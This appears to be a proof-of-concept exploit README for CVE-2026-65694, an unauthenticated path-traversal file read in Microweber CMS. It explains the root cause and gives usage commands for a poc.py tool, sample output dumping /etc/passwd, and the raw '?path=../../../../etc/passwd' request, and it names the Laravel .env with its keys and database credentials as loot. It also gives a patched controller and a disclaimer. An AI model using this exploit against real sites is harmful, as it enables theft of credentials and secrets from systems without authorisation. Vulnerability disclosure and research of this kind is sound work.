Share
## https://sploitus.com/exploit?id=566642C7-D80C-5E20-9790-03A5CE91EF92
# CVE-2026-65694 โ€” Microweber CMS Unauthenticated Arbitrary File Read

Proof-of-concept for **CVE-2026-65694**, an **unauthenticated path-traversal โ†’ arbitrary file read** in [Microweber CMS](https://github.com/microweber/microweber).

An unauthenticated attacker can read any file the web-server user can access โ€” the Laravel `.env` (APP_KEY, DB credentials, mail/cloud secrets), `/etc/passwd`, logs, keys, non-`.php` configuration, etc. โ€” via the public `GET /userfiles/{path}` route.

- **CVE:** CVE-2026-65694
- **Type:** Path Traversal โ†’ Unauthenticated Arbitrary File Read (CWE-22 / CWE-23)
- **Severity:** High โ€” CVSS 3.1 **7.5** (`AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`)
- **Affected:** Microweber โ‰ค 2.0.20 and current `master` (vulnerable line still present)
- **Authentication:** None

## Root cause

`src/MicroweberPackages/App/Http/Controllers/ServeStaticFileContoller.php`

```php
public function serveFromUserfiles(Request $request)
{
    $path = $request->path;                                   // path()
    $path = normalize_path(userfiles_path() . $path, false);  // sendResponse($path, $request);
}
```

The route is registered unauthenticated:

```php
Route::any('/userfiles/{path}', ['uses' => '...ServeStaticFileContoller@serveFromUserfiles'])->where('path', '.*');
```

Two problems combine:

1. **Input override.** `$request->path` (property access, not the `$request->path()` method) resolves through Laravel's `Request::__get` โ†’ `Arr::get($this->all(), 'path', fn() => $this->route('path'))`. So a **`?path=` query parameter overrides the `{path}` route segment** โ€” and query values are *not* subject to the URL-path `..` normalization a browser/server applies.
2. **No canonicalization.** `normalize_path()` only collapses slashes; it never strips or resolves `..`, and there is no check that the resolved path stays inside `userfiles_path()`. PHP's file layer then resolves the `..` sequences on the filesystem.

The controller blocks only the `.php`, `.phtml`, and `.php7` extensions (`skip_ext`), so PHP source is not directly readable โ€” but **everything else is** (`.env`, `/etc/passwd`, logs, keys, SQLite DBs, JSON/YAML config, โ€ฆ).

## Requirements

```bash
pip install -r requirements.txt
```

Reachable on any deployment that uses the recommended `public/` document root (Microweber's shipped `public/.htaccess`, or an nginx `try_files $uri /index.php` front controller), where `userfiles/` lives outside the web root and `/userfiles/*` is dispatched to the Laravel router.

## Usage

Three actions:

```
python3 poc.py -u http://TARGET --check                 # is the target vulnerable?
python3 poc.py -u http://TARGET -r /etc/passwd          # read a file (print to stdout)
python3 poc.py -u http://TARGET -r .env                 # app-relative path also works
python3 poc.py -u http://TARGET -d /etc/passwd -o pw.txt   # download a file to disk
```

| Flag | Action |
|------|--------|
| `--check` | Report whether the target is vulnerable (yes/no), without dumping data |
| `-r`, `--read FILE` | Read a file and print it to stdout |
| `-d`, `--download FILE` | Read a file and save it locally (`-o`/`--output` sets the name) |

Traversal depth is auto-detected (increasing `../` until the file is served); override with `--depth N`. Route through Burp with `--proxy http://127.0.0.1:8080`. Add `-v` for the raw request.

### Example

```
$ python3 poc.py -u http://target:8080 --check

  Microweber CMS  -  Unauthenticated Arbitrary File Read
  CVE-2026-65694   ( GET /userfiles/ ?path= traversal )
  by Bobur Abdugafforov

[*] Testing target...
[+] VULNERABLE - CVE-2026-65694 confirmed (arbitrary file read, traversal depth 4)

$ python3 poc.py -u http://target:8080 -r /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...

$ python3 poc.py -u http://target:8080 -d /etc/passwd -o pw.txt
[+] Downloaded '/etc/passwd' -> pw.txt (839 bytes, traversal depth 4)
```

The underlying request is simply:

```
GET /userfiles/?path=../../../../etc/passwd HTTP/1.1
Host: target
```

## Impact

Unauthenticated arbitrary file read. Leaking the Laravel `.env` yields the `APP_KEY`
(session/cookie forgery), database credentials, mail password, and cloud keys โ€” effectively
full compromise of the instance's secrets.

## Remediation

Read the **bound route parameter** instead of the input property, canonicalize with `realpath()`,
and verify the resolved path stays inside `userfiles_path()`:

```php
public function serveFromUserfiles(Request $request)
{
    $requested = (string) $request->route('path');
    $base = realpath(userfiles_path());
    $path = realpath(normalize_path($base . DIRECTORY_SEPARATOR . $requested, false));
    abort_if($base === false || $path === false
        || strncmp($path, $base . DIRECTORY_SEPARATOR, strlen($base) + 1) !== 0, 404);
    return $this->sendResponse($path, $request);
}
```

## Credit

Discovered and reported by **Bobur Abdugafforov**. CVE-2026-65694 assigned via VulnCheck.

## Disclaimer

For authorized security testing and educational use only. Do not use against systems you do not own or have explicit permission to test.